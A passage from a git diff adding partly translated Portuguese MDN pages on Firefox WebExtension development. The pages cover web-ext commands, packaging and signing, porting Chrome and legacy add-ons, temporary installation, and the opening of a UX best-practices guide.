bash">web-ext run --firefox-profile=your-custom-profile</pre> + +<p>This option accepts a string containing the name of your profile or an absolute path to the profile directory. This is helpful if you want to manually configure some settings that will always be available to the <code>run</code> command.</p> + +<h3 id="Manter_alterações_de_perfil">Manter alterações de perfil</h3> + +<p>The <code>run</code> command does not save any changes made to the custom profile specified by <code>--firefox-profile</code>. To keep changes, add this option:</p> + +<pre class="brush: bash">web-ext run --keep-profile-changes --firefox-profile=your-custom-profile</pre> + +<p>This may be helpful if your extension has many different run states.</p> + +<div class="warning"> +<p>This option makes the profile specified by <code>--firefox-profile</code> completely insecure for daily use. It turns off auto-updates and allows silent remote connections, among other things. Specifically, it will make destructive changes to the profile that are required for <code>web-ext</code> to operate.</p> +</div> + +<h3 id="Empacotar_a_sua_extensão">Empacotar a sua extensão</h3> + +<p>Once you've tested your extension and verified that it's working, you can turn it into a package for submitting to <a href="https://addons.mozilla.org">addons.mozilla.org</a> using the following command:</p> + +<pre class="brush: bash"><code>web-ext build</code></pre> + +<p>This outputs a full path to the generated <code>.zip</code> file that can be loaded into a browser.</p> + +<div class="warning"> +<p>The generated <code>.zip</code> file doesn't work on Firefox without signing or adding <code><a href="/en-US/Add-ons/WebExtensions/manifest.json/applications">applications</a>.gecko.id</code> key into <code><a href="/en-US/Add-ons/WebExtensions/manifest.json">manifest.json</a></code>. For more information, please refer <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/WebExtensions_and_the_Add-on_ID">WebExtensions and the Add-on ID</a> page.</p> +</div> + +<p><code>web-ext build</code> is designed to ignore files that are commonly not wanted in packages, such as <code>.git</code>, <code>node_modules</code>, and other artifacts.</p> + +<p>See the <a href="/en-US/Add-ons/WebExtensions/web-ext_command_reference#web-ext_build">build reference guide</a> to learn more.</p> + +<h3 id="Assinar_a_sua_extensão_para_distribuição">Assinar a sua extensão para distribuição</h3> + +<p>As an alternative to publishing your extension on <a href="https://addons.mozilla.org/">addons.mozilla.org</a>, you can self-host your package file but it needs to be <a href="https://developer.mozilla.org/Add-ons/Distribution">signed by Mozilla</a> first. The following command packages and signs a ZIP file, then returns it as a signed XPI file for distribution:</p> + +<pre class="brush: bash"><code>web-ext sign --api-key=$AMO_JWT_ISSUER --api-secret=$AMO_JWT_SECRET </code></pre> + +<p>The API options are required to specify your <a href="https://addons.mozilla.org/en-US/developers/addon/api/key/">addons.mozilla.org credentials</a>.</p> + +<ul> + <li><code>--api-key</code>: the API key (JWT issuer) from <code>addons.mozilla.org</code> needed to sign the extension. This is a string that will look something like <code>user:12345:67</code>.</li> + <li><code>--api-secret</code>: the API secret (JWT secret) from <code>addons.mozilla.org</code> needed to sign the extension. This is a string that will look something like <code>634f34bee43611d2f3c0fd8c06220ac780cff681a578092001183ab62c04e009</code>.</li> +</ul> + +<p>See the <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/web-ext_command_reference#web-ext_sign">sign reference guide</a> to learn more.</p> + +<h3 id="Assinar_as_extensões_sem_uma_Id._explicita">Assinar as extensões sem uma Id. explicita</h3> + +<p><code>web-ext</code> supports signing extensions that do not declare the <a href="/en-US/Add-ons/WebExtensions/manifest.json/applications">applications.gecko.id</a> property in their manifest. The first time you sign an extension without an explicit ID, <a href="https://addons.mozilla.org/">addons.mozilla.org</a> will generate an ID and <code>web-ext</code> will save it to <code>.web-extension-id</code> in the working directory. You should save the ID file so that you can sign future versions of the same extension. If you lose the ID file, you will have to add back the <code>applications.gecko.id</code> property or use the <code>--id</code> option when signing, for example:</p> + +<pre class="brush: bash"><code>web-ext sign --api-key=... --api-secret=... --id="</code>{c23c69a7-f889-447c-9d6b-7694be8035bc}<code>"</code></pre> + +<h3 id="Assinar_num_ambiente_restringido">Assinar num ambiente restringido</h3> + +<p>If you're working in an environment that restricts access to certain domains, you can try using a proxy when signing:</p> + +<pre class="brush: bash"><code>web-ext sign --api-key=... --api-secret=... --api-proxy=https://yourproxy:6000</code></pre> + +<p>See the <a href="/en-US/Add-ons/WebExtensions/web-ext_command_reference#--api-proxy">--api-proxy</a> option to learn more.</p> + +<p>The following domains are used for signing and downloading files:</p> + +<ul> + <li><code>addons.mozilla.org</code></li> + <li><code>addons.cdn.mozilla.net</code></li> +</ul> + +<h3 id="Verificar_com_o_código_lint">Verificar com o código "lint"</h3> + +<p>Before trying out your extension with the <a href="/en-US/Add-ons/WebExtensions/web-ext_command_reference#web-ext_run">run</a> command or submitting your package to <a href="https://addons.mozilla.org/en-US/firefox/">addons.mozilla.org</a>, use the <code>lint</code> command to make sure your <a href="/en-US/Add-ons/WebExtensions/manifest.json">manifest</a> and other source files do not contain any errors. Example:</p> + +<pre class="brush: bash">web-ext lint</pre> + +<p>This uses the <a href="https://github.com/mozilla/addons-linter">addons-linter</a> library to walk through your source code directory and report any errors, such as the declaration of an unknown permission.</p> + +<p>See the <a href="/en-US/Add-ons/WebExtensions/web-ext_command_reference#web-ext_lint">lint reference guide</a> to learn more.</p> + +<h3 id="Definindo_as_predefinições_de_opção_num_ficheiro_de_configuração">Definindo as predefinições de opção num ficheiro de configuração</h3> + +<p>You can specify <code>--config=my-config.js</code> to set default values for any option. Here is an example with the <code>build</code> command:</p> + +<pre class="brush: bash">web-ext --config=my-config.js build</pre> + +<p>The file should be a CommonJS module <a href="https://nodejs.org/docs/latest/api/modules.html#modules_modules">as understood by NodeJS</a> and must export each configuration value. Here is how you would set the default value of <a href="/en-US/Add-ons/WebExtensions/web-ext_command_reference#--verbose_-v">--verbose</a> to <code>true</code>:</p> + +<pre class="brush: javascript">module.exports = { + verbose: true, +};</pre> + +<p>If you want to specify options that only apply to a specific command, you nest the configuration under the command name. Here is an example of adding configuration for <a href="/en-US/Add-ons/WebExtensions/web-ext_command_reference#--overwrite-dest_-o">--overwrite-dest</a> that only applies to the <code>build</code> command as well as <a href="/en-US/Add-ons/WebExtensions/web-ext_command_reference#--firefox_-f">--firefox</a> that only applies to the <code>run</code> command:</p> + +<pre class="brush: javascript">module.exports = { + // Global options: + verbose: true, + // Command options: + build: { + overwriteDest: true, + }, + run: { + firefox: 'nightly', + }, +};</pre> + +<p>To create a configuration key for a command line option, you remove the preceding dashes and convert the name to camel case. As you can see from this example, <code>--overwrite-dest</code> was converted to <code>overwriteDest</code>.</p> + +<p>If an option can be specified multiple times on the command line then you define it as an array. For example, here is how to specify multiple <a href="/en-US/Add-ons/WebExtensions/web-ext_command_reference#--ignore-files_-i">--ignore-files</a> patterns:</p> + +<pre class="brush: javascript">module.exports = { + ignoreFiles: [ + 'package-lock.json', + 'yarn.lock', + ], +};</pre> + +<h3 id="Automatic_discovery_of_configuration_files">Automatic discovery of configuration files</h3> + +<p><code>web-ext</code> will load existing configuration files in the following order:</p> + +<ul> + <li>A config file named <code>.web-ext-config.js</code> in your home directory, for example: + + <ul> + <li>On Windows: <code>C:\Users\<username>\.web-ext-config.js</code></li> + <li>On macOS: <code>/Users/<username>/.web-ext-config.js</code></li> + <li>On Linux: <code>/home/<username>/.web-ext-config.js</code></li> + </ul> + </li> + <li>A config file named <code>web-ext-config.js</code> in the current directory.</li> +</ul> + +<p>If a home directory config and a local directory config define the same option, the value from the latter file will be used.</p> + +<p>To disable automatic loading of configuration files, set this option:</p> + +<pre class="brush: bash">web-ext --no-config-discovery run</pre> + +<p>To diagnose an issue related to config files, re-run your command with <code>--verbose</code>. This will tell you which config file affected which option value.</p> + +<h3 id="Specifying_different_source_and_destination_directories">Specifying different source and destination directories</h3> + +<p>The preceding commands use default directories for the extension source and artifact creation (for example, built <code>.zip</code> files). The defaults are:</p> + +<ul> + <li>Source: The directory you are in.</li> + <li>Artifacts: A directory called <code>./web-ext-artifacts</code>, created inside the current directory.</li> +</ul> + +<p>You can specify different source and destination directories using the <code>--source-dir</code> and <code>--artifacts-dir</code> options when running your commands. Their values can be relative or absolute paths, but must always be specified as strings. Here is an example of specifying both options when building an extension:</p> + +<pre class="brush: bash"><code>web-ext build --source-dir=webextension-examples/notify-link-clicks-i18n --artifacts-dir=zips</code></pre> + +<h3 id="Outputting_verbose_messages">Outputting verbose messages</h3> + +<p>To see in detail what web-ext is doing when you run a command, include the <code>--verbose</code> option. For example:</p> + +<pre class="brush: bash"><code>web-ext build --verbose</code></pre> + +<h3 id="Viewing_all_commands_and_options">Viewing all commands and options</h3> + +<p>You can list all commands and options like this:</p> + +<pre class="brush: bash"><code>web-ext --help</code></pre> + +<p>You can list options for a specific command by adding it as an argument:</p> + +<pre class="brush: bash"><code>web-ext --help run</code></pre> + +<h3 id="Detecting_temporary_installation">Detecting temporary installation</h3> + +<p>Your extension can detect whether it was installed using <code>web-ext run</code>, rather than as a built and signed extension downloaded from <code>addons.mozilla.org</code>. Listen for the {{WebExtAPIRef("runtime.onInstalled")}} event and check the value of <code>details.temporary</code>.</p> + +<h3 id="Using_web-ext_from_a_script">Using web-ext from a script</h3> + +<p>You can use <code>web-ext</code> as a <code>NodeJS</code> module. Here is <a href="https://github.com/mozilla/web-ext#using-web-ext-in-nodejs-code">more information</a>, with example code.</p> + +<h2 id="Consulte_também">Consulte também</h2> + +<ul> + <li><a class="external external-icon" href="https://github.com/mozilla/web-ext">web-ext repo</a></li> + <li> + <p><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/web-ext_command_reference">web-ext command reference</a></p> + </li> +</ul> diff --git a/files/pt-pt/orphaned/mozilla/add-ons/webextensions/package_your_extension_/index.html b/files/pt-pt/orphaned/mozilla/add-ons/webextensions/package_your_extension_/index.html new file mode 100644 index 0000000000..acc5d21d53 --- /dev/null +++ b/files/pt-pt/orphaned/mozilla/add-ons/webextensions/package_your_extension_/index.html @@ -0,0 +1,62 @@ +--- +title: Publicar a sua extensão +slug: Mozilla/Add-ons/WebExtensions/Publicar_a_sua_extensao +tags: + - Extensões da Web +translation_of: Mozilla/Add-ons/WebExtensions/Package_your_extension_ +--- +<div>{{AddonSidebar}}</div> + +<p> </p> + +<div class="pull-aside"> +<div class="moreinfo"> +<p>Packaged extensions in Firefox are called "XPI files", which are ZIP files with a different extension.</p> + +<p>You don't have to use the XPI extension when uploading to AMO.</p> +</div> +</div> + +<p> </p> + +<p>During development, your extension will consist of a directory containing a manifest.json file and the other files it needs—scripts, icons, HTML documents, and so on. You need to zip these into a single file for uploading to AMO.</p> + +<p>If you're using web-ext, use <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/web-ext_command_reference#web-ext_build">web-ext build </a>to package your extension. Otherwise, follow the instructions below for your chosen operating system.</p> + +<div class="note"> +<p><strong>Dica</strong>: The ZIP file must be a ZIP of the extension's files themselves, not of the directory containing them.</p> +</div> + +<h3 id="Windows">Windows</h3> + +<ol> + <li>Abra a pasta com os seus ficheiros da extensão.</li> + <li>Selecione todos os ficheiros.</li> + <li>Clique direito e escolha "Enviar para" → Pasta Comprimida (zipped).</li> +</ol> + +<p><img alt="" src="https://mdn.mozillademos.org/files/11949/install-windows.png" style="display: block; height: 576px; margin-left: auto; margin-right: auto; width: 800px;"></p> + +<h3 id="Mac_OS_X">Mac OS X</h3> + +<ol> + <li>Open the folder with your extension's files.</li> + <li>Select all of the files.</li> + <li>Right click and choose Compress <em>n</em> Items.</li> +</ol> + +<p><img alt="" src="https://mdn.mozillademos.org/files/11951/install-osx.png" style="display: block; height: 449px; margin-left: auto; margin-right: auto; width: 800px;"></p> + +<div class="pull-aside"> +<div class="moreinfo">See <a href="http://www.info-zip.org/mans/zip.html">http://www.info-zip.org/mans/zip.html</a>.</div> +</div> + +<h3 id="Linux_Mac_OS_X_Terminal">Linux / Mac OS X Terminal</h3> + +<ol> + <li>Open Terminal.</li> + <li>Open the directory containing your extension's files, using the command<br> + <code>cd path/to/<em>my-extension</em>/</code></li> + <li>ZIP the content of the directory, using the command<br> + <code>zip -r -FS ../<em>my-extension</em>.zip *</code></li> +</ol> diff --git a/files/pt-pt/orphaned/mozilla/add-ons/webextensions/porting_a_google_chrome_extension/index.html b/files/pt-pt/orphaned/mozilla/add-ons/webextensions/porting_a_google_chrome_extension/index.html new file mode 100644 index 0000000000..006ecce85c --- /dev/null +++ b/files/pt-pt/orphaned/mozilla/add-ons/webextensions/porting_a_google_chrome_extension/index.html @@ -0,0 +1,22 @@ +--- +title: Conversão de uma extensão do Google Chrome +slug: Mozilla/Add-ons/WebExtensions/Trasnsferir_extensao_Google_Chrome +tags: + - Extensões da Web +translation_of: Mozilla/Add-ons/WebExtensions/Porting_a_Google_Chrome_extension +--- +<div>{{AddonSidebar}}</div> + +<p>As extensões desenvolvidas com as APIs de Extensão da Web são preparadas para compatibilidade entre navegadores: em grande medida, a tecnologia é diretamente compatível com a <a class="external-icon external" href="https://developer.chrome.com/extensions">API de extensão</a> suportada pelo Google Chrome e Opera. As extensões escritas para estes navegadores irão, na maioria do casos, ser executadas no Firefox com apenas algumas alterações. Quase todas das <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API">APIs de extensão </a>são suportadas, utilizando as funções de chamada sob o espaço de nome <code>chrome</code>, o mesmo que Chrome. As únicas APIs que não são suportadas no nome de espaço <code>chrome</code> são aquelas que são intentionalmente incompatíveis com o Chrome. Nesses casos, a página da documentação de API irá declarar explicitamente que só é suportado no espaço do nome <code>browser</code> . O processo de transferir uma extensão do Chrome para Opera é como isto:</p> + +<ol> + <li>Reveja a sua utilização das funcionaldiades de manifest.json e APIs da Extensão da Web contra a <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Chrome_incompatibilities">referência de incompatibilidade do Chrome</a>. Se estiver a utilizar as funcionalidades ou APIs que ainda não são suportadas no Firefox, poderá não conseguir converter ainda a sua extensão. A Mozilla fornece um serviço que pode ajudar a automatizar este passo: <a href="https://www.extensiontest.com">Teste de Compatibilidade de Extensão para Firefox</a> (inglês).</li> + <li><a href="https://developer.mozilla.org/pt-PT/docs/Mozilla/Add-ons/WebExtensions/Instalacao_temporaria_no_Firefox">Instale a sua extensão no Firefox</a> e teste-a.</li> + <li>Se tiver quaisquer problemas, contacte-nos em <a href="https://mail.mozilla.org/listinfo/dev-addons">lista de endereços</a> ou <a href="irc://irc.mozilla.org/webextensions">#webextensions</a> no <a class="external external-icon" href="https://wiki.mozilla.org/IRC">IRC</a>.</li> + <li>Submeta o seu extra em <a href="https://developer.mozilla.org/pt-PT/docs/Mozilla/Add-ons/WebExtensions/Publicar_a_sua_extensao">AMO para assinar e distribuir</a>. </li> +</ol> + +<p>Se estava dependente da opção da linha de comando do Chrome para carregar uma extensão descompactada, consulte a ferramenta <a href="https://developer.mozilla.org/pt-PT/docs/Mozilla/Add-ons/WebExtensions/Primeiros_passos_com_web-ext">web-ext</a> que automatiza a instalação temporária no Firefox para desenvolvimento.</p> + +<ul> +</ul> diff --git a/files/pt-pt/orphaned/mozilla/add-ons/webextensions/porting_a_legacy_firefox_add-on/index.html b/files/pt-pt/orphaned/mozilla/add-ons/webextensions/porting_a_legacy_firefox_add-on/index.html new file mode 100644 index 0000000000..1898b1712a --- /dev/null +++ b/files/pt-pt/orphaned/mozilla/add-ons/webextensions/porting_a_legacy_firefox_add-on/index.html @@ -0,0 +1,81 @@ +--- +title: Conversão de uma extensão legada do Firefox +slug: Mozilla/Add-ons/WebExtensions/Conversao_de_uma_extensao_legada_do_firefox +translation_of: Mozilla/Add-ons/WebExtensions/Porting_a_legacy_Firefox_add-on +--- +<div>{{AddonSidebar}}</div> + +<p><span class="seoSummary">Se desenvolveu uma extensão do Firefox utilziando XUL/XPCOM ou SDK de EXtras, esta página irá ajudá-lo a migraar a sua extensão para utilizar as APIs das Extensões da Web. O padrão para criar extensões para o Firefox é para utilizar as </span>APIs das Extensões da Web. Este será a único tipo de extensão suportado no Firefox no fim de novembro de 2017, com o lançamento da versão 57 do <a class="external text" href="https://wiki.mozilla.org/RapidRelease/Calendar" rel="nofollow">Firefox</a>.</p> + +<h2 id="Início_rápido">Início rápido</h2> + +<ol> + <li>Get an idea of the main things you'll have to change in your extension: + <ul> + <li>Familiarize yourself with the <a href="/en-US/Add-ons/WebExtensions/Anatomy_of_a_WebExtension">WebExtension format and structure</a>, and <a href="/en-US/Add-ons/WebExtensions/Your_first_WebExtension">build a basic example</a>.</li> + <li>If your extension is based on XUL and XPCOM, whether it's an <a href="https://developer.mozilla.org/en-US/Add-ons/Overlay_Extensions">overlay extension</a> or a <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/Bootstrapped_extensions">bootstrapped extension</a>, see <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Comparison_with_XUL_XPCOM_extensions">Comparison with XUL/XPCOM extensions</a> to find out how WebExtensions can correspond with the legacy APIs you're using.</li> + <li>If your extension is based on the Add-on SDK, see <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Comparison_with_the_Add-on_SDK">Comparison with the Add-on SDK</a> to find out how WebExtensions can correspond with the legacy SDK APIs you're using.</li> + </ul> + </li> + <li>Rewrite your extension code. See below for migration paths for different types of extensions. From Firefox 51 onwards, you can embed an extension built using WebExtension APIs in a bootstrapped extension or an SDK add-on, and can thus port a legacy extension a piece at a time, and have a working extension at each step. See <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Embedded_WebExtensions">Embedded WebExtensions</a> for more information.</li> + <li>When you're ready to submit the WebExtension version of your extension to AMO... wait a minute... are you truly ready? Because of the extensions permissions model, you cannot revert from WebExtensions back to using a legacy extension format. So test <em>thoroughly</em>, because this is a permanent one-way trip. Also, see the hybrid example below. If you're not ready, you can embed your WebExtension in a legacy extension container, which allows you to test your extension migration but still go back if needed in an emergency.</li> + <li>When you're <em>really</em> ready to submit the WebExtension version of your extension to AMO, first port your old add-on ID to the new WebExtension manifest.json file. Your extension must have the same ID as previous versions. Copy the value in the "id" field from your package.json file into the id field in the <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/applications">applications</a> section of the WebExtension manifest.json file. Then you can submit your extension update to AMO as your normally would.</li> +</ol> + +<div class="note"> +<p>Note that this is a one-way conversion: You <strong>cannot</strong> update an extension using WebExtensions to use a legacy technology. This means that you must be sure that you are ready to commit to using WebExtension APIs before you submit the updated add-on to AMO.</p> +</div> + +<h2 id="Camnihos_de_migração">Camnihos de migração</h2> + +<h3 id="Extensões_SDK">Extensões SDK</h3> + +<p>Here is the comparison chart showing <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Comparison_with_the_Add-on_SDK">SDK APIs and their WebExtensions format counterparts</a>. If you don't see the APIs you need to port to use WebExtensions APIs, look below to learn how to request APIs and also how to implement them.</p> + +<h3 id="Extensões_XULXPCOM">Extensões XUL/XPCOM</h3> + +<p>Here is the comparison chart showing <a href="/en-US/Add-ons/WebExtensions/Comparison_with_XUL_XPCOM_extensions">XUL/XPCOM APIs and their WebExtensions format counterparts</a>. If you don't see the APIs you need to port to use WebExtension APIs, look below to learn how to request APIs and also how to implement them.</p> + +<h3 id="Migração_parcial">Migração parcial</h3> + +<p>An <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Embedded_WebExtensions">Embedded WebExtension</a> is an extension that combines two types of extensions in one, by incorporating a WebExtension inside of a bootstrapped or SDK extension. If you have a legacy extension that writes data to the filesystem, and you’re planning to port it to WebExtensions, <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Embedded_WebExtensions">Embedded WebExtensions</a> are available to help you transition. Embedded WebExtensions can be used to transfer the stored data of your add-on to a format that can be used by WebExtensions. This is essential because it lets you to convert your users without the need for them to take any actions.</p> + +<p>It’s important to emphasize that Embedded WebExtensions are intended to be a transition tool, and will not be supported past Firefox 57. They should not be used for add-ons that are not expected to transition to WebExtensions.</p> + +<h2 id="Não_vê_as_APIs_das_Extensões_da_Web_que_precisa">Não vê as APIs das Extensões da Web que precisa?</h2> + +<p><strong>Develop WebExtension APIs for Firefox</strong> - If you're experienced with Mozilla infrastructure and would like to develop WebExtensions APIs directly for Firefox, here is a list of <a href="https://mzl.la/2dVs5Ys">approved APIs</a> that you can start contributing to.</p> + +<p><strong>Experiment with new WebExtension APIs</strong> - If you want to prototype and tinker with WebExtensions APIs without having to build Firefox, <a href="http://webextensions-experiments.readthedocs.io/en/latest/index.html">WebExtensions Experiments</a> is for you!</p> + +<p><strong>Request a new WebExtensions API</strong> - If you want to request a new WebExtensions API, please read <a class="external text" href="https://wiki.mozilla.org/WebExtensions/NewAPIs" rel="nofollow">this page</a>.</p> + +<h2 id="Ferramentas">Ferramentas</h2> + +<ul> + <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Getting_started_with_web-ext">web-ext</a> is a command line tool designed to speed up various parts of the extension development process, making development faster and easier.</li> + <li><a href="https://github.com/mi-g/weh">WebExtensions Helper</a> speeds up browser extension development by providing utilities for WebExtensions-based (Firefox, Chrome, Opera and Edge) extensions</li> + <li><a href="https://github.com/yeoman/generator-chrome-extension">Chrome Extension generator </a>creates everything you need to get started with extension development. You can choose Browser UI(Browser,Page Action, Omnibox) type and select permissions you need.</li> + <li><a href="http://extensionizr.com/">Extensionizr</a> is a wizard that helps you create a basic extension</li> + <li><a href="https://github.com/mahemoff/chrome-boilerplate">Chrome Boilerplate</a> is boilerplate code for Chrome WebE<span class="col-11 mr-2 text-gray-dark">xtension.</span></li> + <li><a href="https://github.com/sitepoint/ChromeSkel_a">Skeleton Chrome Extension</a> is an extension bootstrap and template</li> +</ul> + +<h2 id="Documentação">Documentação</h2> + +<ul> + <li><a href="https://wiki.mozilla.org/Add-ons/developer/communication">WebExtensions Project Page</a> on the Mozilla Wiki</li> + <li><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions">How-to guides</a> covering common extension developer cases, like <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Intercept_HTTP_requests">intercepting web requests</a> and <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Add_a_button_to_the_toolbar">adding a button to the toolbar</a></li> + <li><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Comparison_with_the_Add-on_SDK">Comparison with the Add-on SDK</a></li> + <li><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Comparison_with_XUL_XPCOM_extensions">Comparison with XUL/XPCOM extensions</a></li> + <li><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Browser_support_for_JavaScript_APIs">Browser compatibility table</a> for all WebExtensions APIs</li> + <li><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Examples">Examples of extensions</a></li> +</ul> + +<h2 id="Contactar">Contactar</h2> + +<ul> + <li> + <p>Pode utilizar as hiperligações <a href="https://developer.mozilla.org/pt-PT/docs/Mozilla/Add-ons#Contacte-nos">aqui</a> para obter ajuda, manter-se atualizado com as novidades sobre os extras, e dar-nos a sua opinião.</p> + </li> +</ul> diff --git a/files/pt-pt/orphaned/mozilla/add-ons/webextensions/temporary_installation_in_firefox/index.html b/files/pt-pt/orphaned/mozilla/add-ons/webextensions/temporary_installation_in_firefox/index.html new file mode 100644 index 0000000000..47730abceb --- /dev/null +++ b/files/pt-pt/orphaned/mozilla/add-ons/webextensions/temporary_installation_in_firefox/index.html @@ -0,0 +1,50 @@ +--- +title: Instalação temporária no Firefox +slug: Mozilla/Add-ons/WebExtensions/Instalacao_temporaria_no_Firefox +tags: + - Extensões da Web +translation_of: Mozilla/Add-ons/WebExtensions/Temporary_Installation_in_Firefox +--- +<div>{{AddonSidebar}}</div> + +<p>Este artigo descreve como um programador de extra (add-on) pode instalar temporariamente uma extensão no Firefox para testes e depuração. A extensão permanecerá instalada até que reinicie o Firefox. Pode utilizar este método com qualquer tipo de extensão sem reinício, incluindo as <a href="/pt-PT/docs/Archive/Add-ons/Extensoes_bootstrapped">extensões bootstrapped</a> e <a href="/pt-PT/Add-ons/SDK">extras de Add-on SDK</a>.</p> + +<p>Note that this is <em>not</em> how end users should install add-ons in Firefox. End users will install add-ons by downloading and opening packaged add-ons that have been signed by Mozilla. To learn how an extension developer can get an add-on packaged and signed, see <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Publishing_your_WebExtension">Publishing your extension</a>.</p> + +<p>To install an extension temporarily:</p> + +<ul> + <li>open Firefox</li> + <li>enter "about:debugging" in the URL bar</li> + <li>click "Load Temporary Add-on"</li> + <li>open the extension's directory and select any file inside the extension.</li> +</ul> + +<p>The extension will be installed, and will stay installed until you restart Firefox.</p> + +<p>{{EmbedYouTube("cer9EUKegG4")}}</p> + +<h2 id="Recarregar_uma_extensão_temporária">Recarregar uma extensão temporária</h2> + +<p>Starting in Firefox 48, there's a new button labeled "Reload" next to the extension's entry in about:debugging:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13462/reload.png" style="display: block; height: 544px; margin-left: auto; margin-right: auto; width: 848px;">This does what it says:</p> + +<ul> + <li>reloading any persistent scripts, such as <a href="/en-US/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Background_scripts">background scripts</a></li> + <li>parsing the <code>manifest.json</code> file again, so changes to <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions">permissions</a></code>, <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/content_scripts">content_scripts</a></code>, <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/browser_action">browser_action</a></code> or any other keys will take effect.</li> +</ul> + +<p>{{EmbedYouTube("NuajE60jfGY")}}</p> + +<div class="note"> +<p>Note that in Firefox 48 only, "Reload" does not update the extension's name and description that are displayed in about:debugging and about:addons. This is fixed in Firefox 49.</p> +</div> + +<h2 id="Utilizar_a_linha_de_comando">Utilizar a linha de comando</h2> + +<p>If you are already using the command line for development, check out the <a href="/en-US/Add-ons/WebExtensions/Getting_started_with_web-ext">web-ext</a> tool. It automates the temporary installation step and automatically reloads your extension when its source code changes.</p> + +<h2 id="Detetar_instalaçao_temporária">Detetar instalaçao temporária</h2> + +<p>Your extension can detect whether it was installed from about:debugging rather than as a built and signed extension downloaded from <a href="https://addons.mozilla.org">addons.mozilla.org</a>. Listen for the {{WebExtAPIRef("runtime.onInstalled")}} event, and check the value of <code>details.temporary</code>.</p> diff --git a/files/pt-pt/orphaned/mozilla/add-ons/webextensions/user_experience_best_practices/index.html b/files/pt-pt/orphaned/mozilla/add-ons/webextensions/user_experience_best_practices/index.html new file mode 100644 index 0000000000..0b3aba116e --- /dev/null +++ b/files/pt-pt/orphaned/mozilla/add-ons/webextensions/user_experience_best_practices/index.html @@ -0,0 +1,159 @@ +--- +title: As melhores práticas de experiência do utilizador +slug: >- + Mozilla/Add-ons/WebExtensions/As_melhores_praticas_de_experiencia_do_utilizador +tags: + - Extensões + - Extras + - Guía + - IU + - UX +translation_of: Mozilla/Add-ons/WebExtensions/User_experience_best_practices +--- +<div>{{AddonSidebar()}}</div> + +<p dir="ltr" id="docs-internal-guid-04f024b5-ab18-81ba-29b2-520d0891bcac">As melhores extensões do Firefox fornecem aos utilizadores uma nova funcionalidade ou recurso que corresponde a uma necessidade. Ao corresponder a essa necessidade irá ajudar os utilziadores a trabalhar de uma maneira mais inteligente ou eficiente, ou a obter mais prazer com a sua experiência de navegação.</p> + +<p dir="ltr">You will also want to make sure your users have a great experience using your extension and as a result give it great feedback and a good rating on <a href="https://addons.mozilla.org">addons.mozilla.org</a> (AMO).</p> + +<p dir="ltr">Much has been written about what makes software usable. If you are new to the subject, a good place to start is Jakob Nielsen’s <a href="https://en.wikipedia.org/wiki/Heuristic_evaluation#Nielsen">Usability Heuristics</a>. We recommend, whether you are new to extension development or a seasoned pro, using Nielsen’s Heuristics as a checklist when <a href="#Test_test_and_then_test_again">testing your user experience (UX)</a>.</p> + +<p dir="ltr">So, here we discuss much more specific Firefox and browser extension UX features, offering advice and suggestions that will help you build an extension that delights your users.</p> + +<h2 dir="ltr" id="Seja_Firefoxy">Seja <em>Firefoxy</em></h2> + +<p dir="ltr">Your users have chosen Firefox for a reason, possibly several reasons, so match your extension’s philosophy, features, and look and feel to that of Firefox.</p> + +<h3 dir="ltr" id="Design_values">Design values</h3> + +<p dir="ltr">To best meet the needs of Firefox users, align with the Firefox values.</p> + +<p dir="ltr">The <a href="https://design.firefox.com/values/">Firefox Design Values</a> state that we respect the user's privacy and sovereignty and do not surprise them. We start users with smart defaults on the functionality they want to use and enable them to customize those to their personal preferences so that they are in full control of their experience. We add humor and whimsy to our design and pay attention to details, quality, and performance. Local differences in a global world are important to us, and we help people make sense of the web in clear language.</p> + +<h3 dir="ltr" id="Apresentação_e_impressão">Apresentação e impressão</h3> + +<p dir="ltr">To provide your extensions with the best long term fit to Firefox, align with the <a href="http://design.firefox.com/photon">Firefox Photon Design System</a>. Following Photon will ensure that your extension integrates with the Firefox experience and will make it easier for people to use.</p> + +<h2 dir="ltr" id="Mantenha-a_focada">Mantenha-a focada</h2> + +<p dir="ltr">An extension is best when it is centered around one main use case, addressing that use case as well as possible for the target audience. It should add one function or set of closely related functions to the browser, modify a function of the browser, or modify web pages. Determine if you have achieved this by asking whether you can easily communicate the features and purpose of the extension in three (short) sentences or less.</p> + +<div class="note"> +<p dir="ltr">A short summary description of your extension is also very useful when it comes to creating its listing on AMO, see <a href="/en-US/Add-ons/Listing#Make_sure_your_summary_is_just_long_enough">Make sure your summary is just long enough</a> for more details.</p> +</div> + +<h2 dir="ltr" id="Comece_agora_mesmo">Comece agora mesmo</h2> + +<p dir="ltr">Ensure that your extension is ready to be used immediately after installation. It should be optimized for its main use case, and work as expected for most users without the need for customization.</p> + +<p dir="ltr">Do not expect your users to read detailed instructions, other content, or ask them to configure the extension to use it. Doing so could mean they never get started with your extension and, if they do, could result in poor reviews.</p> + +<h2 dir="ltr" id="Dê_aos_utilizadores_o_que_eles_precisam_onde_eles_precisam">Dê aos utilizadores o que eles 